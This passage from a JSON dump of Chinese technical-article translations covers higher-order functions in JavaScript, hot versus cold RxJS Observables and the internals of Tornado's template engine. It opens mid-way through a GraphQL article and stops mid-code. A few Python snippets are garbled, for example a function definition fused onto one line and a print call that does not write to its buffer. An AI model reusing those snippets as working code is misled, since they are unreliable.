的系统中使用有状态的实时查询来实现响应性和订阅特性时发现，这会使得程序变得难以调试和分析。当你在调试你的程序或是试图找出性能问题时，你需要在你的服务器上重现这个问题出现的情形。如果你的服务器上有大量的状态，并且这些状态依赖于数据库当时的情况，包括你在执行哪些查询，以及哪些特定的客户端集合正在查看这些数据，这会使得你非常难以找出造成错误的原因。\n\n这个新的系统就是设计来避免这个问题的，并且该系统的实现是从底层开始支持用于开发和生产的性能分析。我们为那些希望做性能分析的开发者设计了两条路径：\n\n1.  **数据加载** 页面上的一系列 UI 组件应该如何被翻译成 GraphQL 查询，以及这些查询在一系列后端数据源上如何运作。这个问题对于任何基于 GraphQL 的系统来说都很常见，但是这个问题很难被单一工具解决，因为这天生将客户端和服务器绑在了一起。\n2.  **Mutations.** 在一个响应式系统中，一个 mutation 会造成一些客户端需要重新获取数据。所以跟踪 mutation 的行为是非常重要的：哪些行为从数据库加载了数据，哪些依赖过期了，以及在其他客户端上发生了哪些重取。这可以帮助你在保持你的用户拥有良好用户体验的前提下，优化你的 UI 结构、数据加载样式、响应性、以及 mutation 来减少你的服务器负担。\n\n在你从上述两条路径分析了你的应用之后，你应该可以清楚地知道你应该通过小心地进行手动失效以及禁用响应性来优化你的程序，这会使得你能够在修改尽可能少的应用代码的前提下，极大地优化性能。\n\n## 执行计划\n\n这张图表描述了我们认为一个完整系统需要构建的所有东西：\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f1amo4kr54j21kw0ul7gm.jpg)\n\n每一个组件的独立设计将会在之后的文章中讲到，举例来说，失效服务器是如何工作的？这篇文档的主要目的是概述这些组件如何一起工作。我们希望系统中的所有组件都是清晰的，并且拥有完善文档的 API，这样你就能在需要的时候为任意部分编写你自己的实现。\n\n这将会是一个很大的工作量，但是多亏 Relay 项目，大多数工作都已经完成了，并且有些任务可以在整个竞购更清晰之后由社区贡献，比如说数据库驱动。\n"
  },
  {
    "path": "TODO/higher-order-functions-composing-software.md",
    "content": "> *   原文地址：[Higher Order Functions (Composing Software)(part 4)](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99)\n> *   原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> *   译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> *   译者：[reid3290](https://github.com/reid3290)\n> *   校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[avocadowang](https://github.com/avocadowang)\n\n# [第四篇] 高阶函数（软件编写）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg\">\n\nSmoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n> 注意：这是“软件编写”系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/a-functional-programmers-introduction-to-javascript-composing-software.md) | [<< 第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md)\n\n**高阶函数**是一种接收一个函数作为输入或输出一个函数的函数（译注：参见维基百科[高阶函数](https://zh.wikipedia.org/wiki/%E9%AB%98%E9%98%B6%E5%87%BD%E6%95%B0)），这是和一阶函数截然不同的。\n\n之前我们看到的 `.map()` 和 `.filter()` 都是高阶函数 —— 它们都接受一个函数作为参数，\n\n先来看个一阶函数的例子，该函数会将单词数组中 4 个字母的单词过滤掉：\n\n```\nconst censor = words => {\n  const filtered = [];\n  for (let i = 0, { length } = words; i < length; i++) {\n    const word = words[i];\n    if (word.length !== 4) filtered.push(word);\n  }\n  return filtered;\n};\n\ncensor(['oops', 'gasp', 'shout', 'sun']);\n// [ 'shout', 'sun' ]\n```\n\n如果又要选择出所有以 's' 开头的单词呢？可以再定义一个函数：\n\n```\nconst startsWithS = words => {\n  const filtered = [];\n  for (let i = 0, { length } = words; i < length; i++) {\n    const word = words[i];\n    if (word.startsWith('s')) filtered.push(word);\n  }\n  return filtered;\n};\n\nstartsWithS(['oops', 'gasp', 'shout', 'sun']);\n// [ 'shout', 'sun' ]\n```\n\n显然可以看出这里面有很多重复的代码，这两个函数的主体是相同的 —— 都是遍历一个数组并根据给定的条件进行过滤。这便形成了一种特定的模式，可以从中抽象出更为通用的解决方案。\n\n不难看出， “遍历”和“过滤”都是亟待抽象出来的，以便分享和复用到其他所有类似的函数中去。毕竟，从数组中选取某些特定元素是很常见的需求。\n\n幸运的是，函数是 JavaScript 中的一等公民，就像数字、字符串和对象一样，函数可以：\n\n- 像变量一样赋值给其他变量\n- 作为对象的属性值\n- 作为参数进行传递\n- 作为函数的返回值\n\n函数基本上可以像其他任何数据类型一样被使用，这点使得“抽象”容易了许多。例如，可以定义一种函数，将遍历数组并累计出一个返回值的过程抽象出来，该函数接收一个函数作为参数来决定具体的**累计**过程，不妨将此函数称为 **reducer**：\n\n```\nconst reduce = (reducer, initial, arr) => {\n  // 共享的\n  let acc = initial;\n  for (let i = 0, length = arr.length; i < length; i++) {\n\n    // 独特的\n    acc = reducer(acc, arr[i]);\n\n  // 又是共享的\n  }\n  return acc;\n};\n\nreduce((acc, curr) => acc + curr, 0, [1,2,3]); // 6\n```\n\n该 `reduce()` 接受 3 个参数：一个 reducer 函数、一个累计的初始值和一个用于遍历的数组。对数组中的每个元素都会调用 reducer，传入累计器和当前数组元素，返回值又会赋给累计器。对数组中的所有元素都执行过 reducer 之后，返回最终的累计结果。\n\n在用例中，调用 `reduce` 并传给它 3 个参数：`reducer` 函数、初始值 0 以及需要遍历的数组。其中 `reducer` 函数以累计器和当前数组元素为参数，返回累计后的结果。\n\n如此将遍历和累计的过程抽象出来之后，便可实现更为通用的 `filter()` 函数：\n\n```\n const filter = (\n  fn, arr\n) => reduce((acc, curr) => fn(curr) ?\n  acc.concat([curr]) :\n  acc, [], arr\n);\n```\n\n在此 `filter()` 函数中，除了以参数形式传进来的 `fn()` 函数以外，所有代码都是可复用的。其中 `fn()` 参数被称为**断言（predicate）** —— 返回一个布尔值的函数。\n\n将当前值传给 `fn()`，如果 `fn(curr)` 返回 `true`，则将 `curr` 添加到结果数组中并返回之；否则，直接返回当前数组。\n\n现在便可借助 `filter()` 函数来实现过滤 4 字母单词的 `censor()` 函数：\n\n```\nconst censor = words => filter(\n  word => word.length !== 4,\n  words\n);\n```\n\n喔！将所有公共代码抽象出来之后，`censor()` 函数便十分简洁了。\n\n`startsWithS()` 也是如此：\n\n```\n const startsWithS = words => filter(\n  word => word.startsWith('s'),\n  words\n);\n```\n\n 你若稍加留意便会发现 JavaScript 其实已经为我们做了这些抽象，即 `Array.prototype` 的相关方法，例如 `.reduce()`、`.filter()`、`.map()` 等等。\n\n 高阶函数也常常被用于对不同数据类型的操作进行抽象。例如，`.filter()` 函数不一定非得作用于字符串数组。只需传入一个能够处理不同数据类型的函数，`.filter()` 便能过滤数字了。还记得 `highpass` 的例子吗？\n\n```\nconst highpass = cutoff => n => n >= cutoff;\nconst gt3 = highpass(3);\n[1, 2, 3, 4].filter(gt3); // [3, 4];\n```\n\n换言之，高阶函数可以用来实现函数的多态性。如你所见，相对于一阶函数而言，高阶函数的复用性和通用性更好。一般来讲，在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。\n\n[**再续 “Reduce” >**](https://github.com/xitu/gold-miner/blob/master/TODO/reduce-composing-software.md)\n\n### 接下来 ###\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC**等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/hot-vs-cold-observables.md",
    "content": "> * 原文地址：[Hot vs Cold Observables](https://medium.com/@benlesh/hot-vs-cold-observables-f8094ed53339)\n> * 原文作者：[Ben Lesh](https://medium.com/@benlesh)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[hikerpig](https://github.com/hikerpig)\n> * 校对者：[Tina92](https://github.com/Tina92)\n\n---\n\n# Observable 之冷和热\n\n## 简单来说：如果不想重复创建生产者（producer），你需要使用热 Observable\n\n#### 冷：Observable 自行创建生产者\n\n    // COLD\n    var cold = new Observable((observer) => {\n      var producer = new Producer();\n      // have observer listen to producer here\n    });\n\n#### 热：Observable 使用已存在的生产者\n\n    // HOT\n    var producer = new Producer();\n    var hot = new Observable((observer) => {\n      // have observer listen to producer here\n    });\n\n### 深入解析\n\n我上篇文章[通过自行实现学习 Observable](https://medium.com/@benlesh/learning-observable-by-building-observable-d5da57405d87) 阐述了 Observable 是种函数。虽旨在揭开 Observable 的神秘外衣，但并没有触及其最令人困惑的部分：“冷”和“热”的概念。\n\n#### Observable 只是函数！\n\nObservable 只是一个将观察者 (Observer) 连接到生产者的函数。意味着，它们并不需要自行创建生产者。只需要让一个观察者订阅生产者的消息，并提供一种取消监听的方式。这种订阅可通过像函数一样“调用” Observable，给它传递一个观察者。\n\n#### 什么是“生产者”？\n\n生产者是 Observable 的数据源。可以是一个 websocket 连接、DOM 事件、迭代器或一个遍历某数组的操作。可以是你用来获取并向 `observer.next(value)` 传递值的任何东西。。\n\n\n### 冷 Observable：在内部创建生产者\n\n一个“冷”的 Observable 的生产者**创建和激活**发生在订阅期。就是说若将 observable 比作函数，那么生产者是在“调用函数”时创建和激活的。\n\n1. 创建生产者\n2. 激活生产者\n3. 开始监听生产者\n4. 单播\n\n下面例子是“冷”的，因为 WebSocket 连接是在订阅回调“内部”被创建和监听的，而订阅回调函数只有在订阅 Observable 时才会被执行。\n\n    const source = new Observable((observer) => {\n      const socket = new WebSocket('ws://someurl');\n      socket.addEventListener('message', (e) => observer.next(e));\n      return () => socket.close();\n    });\n\n上述`source`的所有订阅者都会有一个自己的 WebSocket，取消订阅时用`close()`将其关闭。因此该数据源是真正的单播，因为其生产者只向一个观察者发送值。[此 JSBin 例子说明了此概念](http://jsbin.com/wabuguy/1/edit?js,output)。\n\n### 热 Observable：在外部创建生产者\n\n热 Observable 的生产者在订阅回调函数外被创建或激活(备注1)。\n\n1. 共享一个生产者的引用\n2. 监听生产者\n3. 组播(multicast)(备注2)\n\n若我们改变一下之前的例子，把 WebSocket 的创建移到 Observable 外，就是个“热” Observable：\n\n    const socket = new WebSocket('ws://someurl');\n\n    const source = new Observable((observer) => {\n      socket.addEventListener('message', (e) => observer.next(e));\n    });\n\n`source`的所有订阅者共享一个 WebSocket 实例，该 socket 的消息会组播给所有订阅者。但这引入一个小问题：我们没法用 observable 承载销毁该 socket 的逻辑。无论出错、完成，还是取消订阅，都不会关闭该连接。我们做的只是把“冷” Observable 变“热”[此 JSBin 例子说明了此概念](http://jsbin.com/godawic/edit?js,output)。\n\n#### 为什么需要热 Observable？\n\n在第一个冷 Observable 的例子里你可以看见，一直保有所有的冷 Observable 实例可能会有问题。首先，如果你需要订阅这个 observable 多次，而这个 observable 会创建类似于 WebSocket 这样的，占用如网络连接般稀缺资源的实例，你肯定不希望创建多个连接。而实际上，我们很容易忽略订阅多次的事实。例如当你需要过滤出 socket 消息值的奇/偶数序列，在此场景下你会创建两个订阅：\n\n    source.filter(x => x % 2 === 0)\n      .subscribe(x => console.log('even', x));\n\n    source.filter(x => x % 2 === 1)\n      .subscribe(x => console.log('odd', x));\n\n### Rx Subjects\n\n在我们把 Observable 从冷转热之前，需要介绍一种新类型：Rx Subject，它有以下特性：\n\n1. 它是一个 Observable, 包含了 Observable 的所有操作方法。\n2. 它是一个 Observer, 通过 duck-typing 实现了一些长得和 Observer 相似的接口。当被像 Observable 订阅时，会发出你使用类似 Observer 的 `next` 方法传入的值。\n3. 支持组播。通过 `subscribe()` 传入的所有观察者会被加入一个内部的观察者列表里保存。\n4. 结束状态明确。在取消订阅、完成或出错之后就无法再被使用。\n5. 可以对自己传值。补充下第 2 条，使用 `next` 对其传值，会触发它的 Observable 相关回调。\n\nRx Subject 的名字得于第 3 条特性，“Subject” 在 Gang of Four（译者注：经典《设计模式》的几位作者）的观察者模式中，是实现了 `addObserver` 方法的类。在我们的例子中，`addObserver` 就是 `subscribe`。[一个展示 Rx Subject 行为的 JSBin 例子](http://jsbin.com/muziva/1/edit?js,output)。\n\n\n### 把 Observable 从冷变热\n\n有了 Rx Subject 的加持，我们可以用上一点函数式编程让 Observable 从冷转热：\n\n\n    function makeHot(cold) {\n      const subject = new Subject();\n      cold.subscribe(subject);\n      return new Observable((observer) => subject.subscribe(observer));\n    }\n\n\n`makeHot` 函数接受一个冷的 Observable `cold`，创建一个 `subject` 订阅 `cold` 的消息，最后该函数返回一个热 Observable, 它的生产者为 `subject`。[一个 JSBin 示例](http://jsbin.com/ketodu/1/edit?js,output)\n\n不过还有一个小问题，我们没有直接订阅数据源，如果想取消订阅，该怎么做呢？可以用引用计数解决：\n\n    function makeHotRefCounted(cold) {\n      const subject = new Subject();\n      const mainSub = cold.subscribe(subject);\n      let refs = 0;\n      return new Observable((observer) => {\n        refs++;\n        let sub = subject.subscribe(observer);\n        return () => {\n          refs--;\n          if (refs === 0) mainSub.unsubscribe();\n          sub.unsubscribe();\n        };\n      });\n    }\n\n现在我们有一个热 Observable，且当其所有订阅取消了，用来计数的 `refs` 变为 0 时，便可以取消对原先冷 Observable 的订阅。[一个 JSBin 例子](http://jsbin.com/lubata/1/edit?js,output)。\n\n### 在 RxJS 里使用 `publish()` 或 `share()`\n\n你也许不该使用类似于上面 `makeHot` 这样的函数，而应该使用 `publish()` 或 `share()` 这样的函数 Observable 转热的途径，在 Rx 里有高效简洁的方式。为说明使用多种 Rx 操作符（译者注：operator，之后都作此翻译）来做这件事情，能专门写一篇文章，不过这不是本文的目的。真正的目的在于加强对“冷”“热”之分的理解。\n\n在 RxJS 5 里，`share()` 操作符创建一个有引用计数的热 Observable，且可以在失败时重试，或在成功时重复执行。因为 Subject 在出错、完成或取消订阅后便不能再被重用，`share()` 操作符会更新重建已结束的 Subject，从而使得返回的 Observable 能够被再次订阅。\n\n[一个在 RxJS 5 里使用 `share()` 创建热数据源的 JSBin 例子，也展示了重试的方法](http://jsbin.com/mexuma/1/edit?js,output)\n\n### “温” Observable\n\n看完如上所述，能知道 Observable 虽然 “只是函数”，却能有冷热之分。它还能监听两个生产者？一个由它创建，一个由它关闭？有点像不良的小伎俩，非其不用的场景并不多。例如多路 socket 数据源，共享一个 socket 连接，但分别有自己的数据订阅和过滤机制。\n\n### 冷和热都只和生产者有关\n\n如果在 Observable 内操作一个共享的生产者，是“热”的。而在 Observable 内部创建生产者，是“冷”的。那假如你二者皆有，是什么？我猜它是“温”的。\n\n#### 备注\n\n1. 说生产者在订阅回调内部被“激活”，而不是在之后某合适时机被“创建”，可能有点奇怪，不过通过代理（proxy），的确是可以的。通常“热” Observable 的生产者在订阅回调外部被创建和激活。\n\n2. 热 Observable 通常是组播的，虽说它也许对应的是一个只支持单个监听回调的生产者。在此处说它是“组播”的，可能不是完全准确。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-a-template-engine-works.md",
    "content": "> * 原文地址：[How a template engine works](https://fengsp.github.io/blog/2016/8/how-a-template-engine-works/)\n* 原文作者：[Shipeng Feng](https://twitter.com/_fengsp)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Zheaoli](https://github.com/Zheaoli)\n* 校对者：[Kulbear](https://github.com/Kulbear), [hpoenixf](https://github.com/hpoenixf)\n\n# 详解 Python 模板引擎工作机制\n\n我已经使用各种模版引擎很久了，现在终于有时间研究一下模版引擎到底是如何工作的了。\n\n### 简介\n\n简单的说，模版引擎是一种可以用来完成涉及大量文本数据的编程任务的工具。一般而言，我们经常在一个 **web** 应用中利用模板引擎来生成 **HTML** 。在 **Python** 中，当你想使用模板引擎的时候，你会发现你有不少的选择，比如 [jinja](http://jinja.pocoo.org/) 或者是 [mako](http://www.makotemplates.org/) 。从现在开始，我们将利用 [**tornado**](https://github.com/tornadoweb/tornado) 中的模板引擎来讲解模板引擎的工作原理，在 **tornado** 中，自带的模板引擎相对的简单，能方便我们去深入的剖析其原理。\n\n在我们研究（模版引擎）的实现原理之前，先让我们来看一个简单的接口调用例子。\n\n~~~Python\n    from tornado import template\n\n    PAGE_HTML = \"\"\"\n    <html>\n      Hello, {{ username }}!\n      <ul>\n        {% for job in job_list %}\n          <li>{{ job }}</li>\n        {% end %}\n      </ul>\n    </html>\n    \"\"\"\n    t = template.Template(PAGE_HTML)\n    print t.generate(username='John', job_list=['engineer'])\n~~~\n\n这段代码里的 `username` 将会动态的生成，`job` 列表也是如此。你可以通过安装 `tornado` 并运行这段代码来看看最后的效果。\n\n### 详解\n\n如果你仔细观察 `PAGE_HTML` ，你会发现这段模板字符串由两个部分组成，一部分是固定的字符串，另一部分是将会动态生成的内容。我们将会用特殊的符号来标注动态生成的部分。在整个工作流程中，模板引擎需要正确输出固定的字符串，同时需要将正确的结果替换我们所标注的需要动态生成的字符串。\n\n使用模板引擎最简单的方式就是像下面这样用一行 **python** 代码就可以解决：\n\n~~~Python\n    deftemplate_engine(template_string, **context):# process herereturn result_string\n\n~~~\n\n在整个工作过程中，模板引擎将会分为如下两个阶段对我们的字符串进行操作：\n\n* 解析\n* 渲染\n\n在解析阶段，我们将我们准备好的字符串进行解析，然后格式化成可被渲染的格式，其可能是能被 `rendered.Consider` 所解析的字符串，解析器可能是一个语言的解释器或是一个语言的编译器。如果解析器是一种解释器的话，在解析过程中将会生成一种特殊的数据结构来存放数据，然后渲染器会遍历整个数据结构来进行渲染。例如 **Django** 的模板引擎中的解析器就是一种基于解释器的工具。除此之外，解析器可能会生成一些可执行代码，渲染器将只会执行这些代码，然后生成对应的结果。在 **Jinja2** ， **Mako** ，**Tornado** 中，模板引擎都在使用编译器来作为解析工具。\n### 编译\n\n如同上面所说的一样，我们需要解析我们所编写的模板字符串，然后 **tornado** 中的模板解析器将会将我们所编写的模板字符串编译成可执行的 **Python** 代码。我们的解析工具负责生成Python代码，而仅仅由单个Python函数构成：\n\n~~~Python\n    def parse_template(template_string):\n      # compilation\n      return python_source_code\n~~~\n\n在我们分析 `parse_template` 的代码之前，让我们先看个模板字符串的例子：\n\n~~~html\n    <html>\n      Hello, {{ username }}!\n      <ul>\n        {% for job in jobs %}\n          <li>{{ job.name }}</li>\n        {% end %}\n      </ul>\n    </html>\n~~~\n\n模板引擎里的 `parse_template` 函数将会将上面这个字符串编译成 **Python** 源码，最简单的实现方式如下：\n\n~~~Python\n    def _execute():\n        _buffer = []\n        _buffer.append('\\n<html>\\n  Hello, ')\n        _tmp = username\n        _buffer.append(str(_tmp))\n        _buffer.append('!\\n  <ul>\\n    ')\n        for job in jobs:\n            _buffer.append('\\n      <li>')\n            _tmp = job.name\n            _buffer.append(str(_tmp))\n            _buffer.append('</li>\\n    ')\n        _buffer.append('\\n  </ul>\\n</html>\\n')\n        return''.join(_buffer)\n~~~\n\n现在我们在 `_execute` 函数里处理我们的模版。这个函数将可以使用全局命名空间里的所有有效变量。这个函数将创建一个包含多个 **string** 的列表并将他们合并后返回。显然找到一个局部变量比找一个全局变量要快多了。同时，我们对于其余代码的优化也在这个阶段完成，比如：\n\n~~~Python\n    _buffer.append('hello')\n\n    _append_buffer = _buffer.append\n    # faster for repeated use\n    _append_buffer('hello')\n~~~\n\n在 `{{ ... }}` 中的表达式将会被提取出来，然后添加进 `string` 列表中。在 `tornado` 模板模块中，在 `{{ ... }}` 所编写的表达式没有任何的限制，**if** 和 **for** 代码块都可以准确地转换成为 **Python** 代码。\n\n### 让我们来看看具体的代码实现吧\n\n让我们来看看模板引擎的具体实现吧。我们在 `Template` 类中编声明核心变量，当我们创建一个 `Template` 对象后，我们便可以编译我们所编写的模板字符串，随后我们便可以根据编译的结果来对其进行渲染。我们只需要对我们所编写的模板字符串进行一次编译，然后我们可以缓存我们的编译结果，下面是 `Template` 类的简化版本的构造器：\n\n~~~Python\n    class Template(object):\n        def__init__(self, template_string):\n            self.code = parse_template(template_string)\n            self.compiled = compile(self.code, '<string>', 'exec')\n~~~\n\n上段代码里的 `compile` 函数将会将字符串编译成为可执行代码，我们可以稍后调用 `exec` 函数来执行我们生成的代码。现在，让我们来看看 `parse_template` 函数的实现，首先，我们需要将我们所编写的模板字符串转化成一个个独立的节点，为我们后面生成 **Python** 代码做好准备。在这过程中，我们需要一个 `_parse` 函数，我们先把它放在一边，等下在回来看看这个函数。现，我们需要编写一些辅助函数来帮助我们从模板文件里读取数据。现在让我们来看看 `_TemplateReader` 这个类，它用于从我们自定义的模板中读取数据：\n\n~~~Python\n    class _TemplateReader(object):\n      def __init__(self, text):\n          self.text = text\n          self.pos = 0\n\n      def find(self, needle, start=0, end=None):\n          pos = self.pos\n          start += pos\n          if end is None:\n              index = self.text.find(needle, start)\n          else:\n              end += pos\n              index = self.text.find(needle, start, end)\n          if index != -1:\n              index -= pos\n          return index\n\n      def consume(self, count=None):\n          if count is None:\n              count = len(self.text) - self.pos\n          newpos = self.pos + count\n          s = self.text[self.pos:newpos]\n          self.pos = newpos\n          return s\n\n      def remaining(self):\n          return len(self.text) - self.pos\n\n      def __len__(self):\n          return self.remaining()\n\n      def __getitem__(self, key):\n          if key < 0:\n              return self.text[key]\n          else:\n              return self.text[self.pos + key]\n\n      def __str__(self):\n          return self.text[self.pos:]\n~~~\n\n为了生成 **Python** 代码，我们需要去看看 `_CodeWriter` 这个类的源码，这个类可以编写代码行和管理缩进，同时它也是一个 **Python** 上下文管理器：\n\n~~~Python\n    class _CodeWriter(object):\n      def __init__(self):\n          self.buffer = cStringIO.StringIO()\n          self._indent = 0\n\n      def indent(self):\n          return self\n\n      def indent_size(self):\n          return self._indent\n\n      def __enter__(self):\n          self._indent += 1\n          return self\n\n      def __exit__(self, *args):\n          self._indent -= 1\n\n      def write_line(self, line, indent=None):\n          if indent == None:\n              indent = self._indent\n          for i in xrange(indent):\n              self.buffer.write(\"    \")\n          print self.buffer, line\n\n      def __str__(self):\n          return self.buffer.getvalue()\n~~~\n\n在 `parse_template` 函数里，我们先要创建一个 `_TemplateReader` 对象：\n\n~~~Python\n    def parse_template(template_string):\n        reader = _TemplateReader(template_string)\n        file_node = _File(_parse(reader))\n        writer = _CodeWriter()\n        file_node.generate(writer)\n        return str(writer)\n~~~\n\n然后，我们将我们所创建的 `_TemplateReader` 对象传入 `_parse` 函数中以便生成节点列表。这里生成的所有节点都是模板文件的子节点。接着，我们创建一个 `_CodeWriter` 对象，然后 `file_node` 对象会把生成的 **Python** 代码写入 `_CodeWriter` 对象中。然后我们返回一系列动态生成的 **Python** 代码。`_Node` 类将会用一种特殊的方法去生成 **Python** 源码。这个先放着，我们等下再绕回来看。 现在先让我们回头看看前面所说的 `_parse` 函数：\n\n~~~Python\n    def _parse(reader, in_block=None):\n      body = _ChunkList([])\n      while True:\n          # Find next template directive\n          curly = 0\n          while True:\n              curly = reader.find(\"{\", curly)\n              if curly == -1 or curly + 1 == reader.remaining():\n                  # EOF\n                  if in_block:\n                      raise ParseError(\"Missing {%% end %%} block for %s\" %\n                                       in_block)\n                  body.chunks.append(_Text(reader.consume()))\n                  return body\n              # If the first curly brace is not the start of a special token,\n              # start searching from the character after it\n              if reader[curly + 1] not in (\"{\", \"%\"):\n                  curly += 1\n                  continue\n              # When there are more than 2 curlies in a row, use the\n              # innermost ones.  This is useful when generating languages\n              # like latex where curlies are also meaningful\n              if (curly + 2 < reader.remaining() and\n                  reader[curly + 1] == '{' and reader[curly + 2] == '{'):\n                  curly += 1\n                  continue\n              break\n~~~\n\n我们将在文件中无限循环下去来查找我们所规定的特殊标记符号。当我们到达文件的末尾处时，我们将文本节点添加至列表中然后退出循环。\n\n~~~Python\n    # Append any text before the special token\n    if curly > 0:\n      body.chunks.append(_Text(reader.consume(curly)))\n~~~\n\n在我们对特殊标记的代码块进行处理之前，我们先将静态的部分添加至节点列表中。\n\n~~~Python\n    start_brace = reader.consume(2)\n~~~\n\n在遇到 `{{` 或者 `{%` 的符号时，我们便开始着手处理相应的表达式：\n\n~~~Python\n    # Expression\n    if start_brace == \"{{\":\n        end = reader.find(\"}}\")\n        if end == -1 or reader.find(\"\\n\", 0, end) != -1:\n            raise ParseError(\"Missing end expression }}\")\n        contents = reader.consume(end).strip()\n        reader.consume(2)\n        if not contents:\n            raise ParseError(\"Empty expression\")\n        body.chunks.append(_Expression(contents))\n        continue\n~~~\n\n当遇到 `{{` 之时，便意味着后面会跟随一个表达式，我们只需要将表达式提取出来，并添加至 `_Expression` 节点列表中。\n\n~~~Python\n      # Block\n      assert start_brace == \"{%\", start_brace\n      end = reader.find(\"%}\")\n      if end == -1 or reader.find(\"\\n\", 0, end) != -1:\n          raise ParseError(\"Missing end block %}\")\n      contents = reader.consume(end).strip()\n      reader.consume(2)\n      if not contents:\n          raise ParseError(\"Empty block tag ({% %})\")\n      operator, space, suffix = contents.partition(\" \")\n      # End tag\n      if operator == \"end\":\n          if not in_block:\n              raise ParseError(\"Extra {% end %} block\")\n          return body\n      elif operator in (\"try\", \"if\", \"for\", \"while\"):\n          # parse inner body recursively\n          block_body = _parse(reader, operator)\n          block = _ControlBlock(contents, block_body)\n          body.chunks.append(block)\n          continue\n      else:\n          raise ParseError(\"unknown operator: %r\" % operator)\n~~~\n\n在遇到模板里的代码块的时候，我们需要通过递归的方式将代码块提取出来，并添加至 `_ControlBlock` 节点列表中。当遇到 `{% end %}` 时，意味着这个代码块的结束，这个时候我们可以跳出相对应的函数了。\n\n好了现在，让我们看看之前所提到的 `_Node` 节点，别慌，这其实是很简单的：\n\n~~~Python\n    class _Node(object):\n      def generate(self, writer):\n          raise NotImplementedError()\n\n\n    class _ChunkList(_Node):\n      def __init__(self, chunks):\n          self.chunks = chunks\n\n      def generate(self, writer):\n          for chunk in self.chunks:\n              chunk.generate(writer)\n\n`_ChunkList` 只是一个节点列表而已。\n\n~~~Python\n    class _File(_Node):\n      def __init__(self, body):\n          self.body = body\n\n      def generate(self, writer):\n          writer.write_line(\"def _execute():\")\n          with writer.indent():\n              writer.write_line(\"_buffer = []\")\n              self.body.generate(writer)\n              writer.write_line(\"return ''.join(_buffer)\")\n~~~\n\n在 `_File` 中，它会将 `_execute` 函数写入 `CodeWriter`。\n\n~~~Python\n    class _Expression(_Node):\n        def __init__(self, expression):\n            self.expression = expression\n\n        def generate(self, writer):\n            writer.write_line(\"_tmp = %s\" % self.expression)\n            writer.write_line(\"_buffer.append(str(_tmp))\")\n\n\n    class _Text(_Node):\n        def __init__(self, value):\n            self.value = value\n\n        def generate(self, writer):\n            value = self.value\n            if value:\n                writer.write_line('_buffer.append(%r)' % value)\n~~~\n\n`_Text` 和 `_Expression` 节点的实现也非常简单，它们只是将我们从模板里获取的数据添加进列表中。\n\n~~~Python\n    class _ControlBlock(_Node):\n        def __init__(self, statement, body=None):\n            self.statement = statement\n            self.body = body\n\n        def generate(self, writer):\n            writer.write_line(\"%s:\" % self.statement)\n            with writer.indent():\n                self.body.generate(writer)\n~~~\n\n在 `_ControlBlock` 中，我们需要将我们获取的代码块按 **Python** 语法进行格式化。\n\n现在让我们看看之前所提到的模板引擎的渲染部分，我们通过在 `Template` 对象中实现 `generate` 方法来调用从模板中解析出来的 `Python` 代码。\n\n~~~Python\n    def generate(self, **kwargs):\n        namespace = {}\n        namespace.update(kwargs)\n        exec self.compiled in namespace\n        execute = namespace[\"_execute\"]\n        return 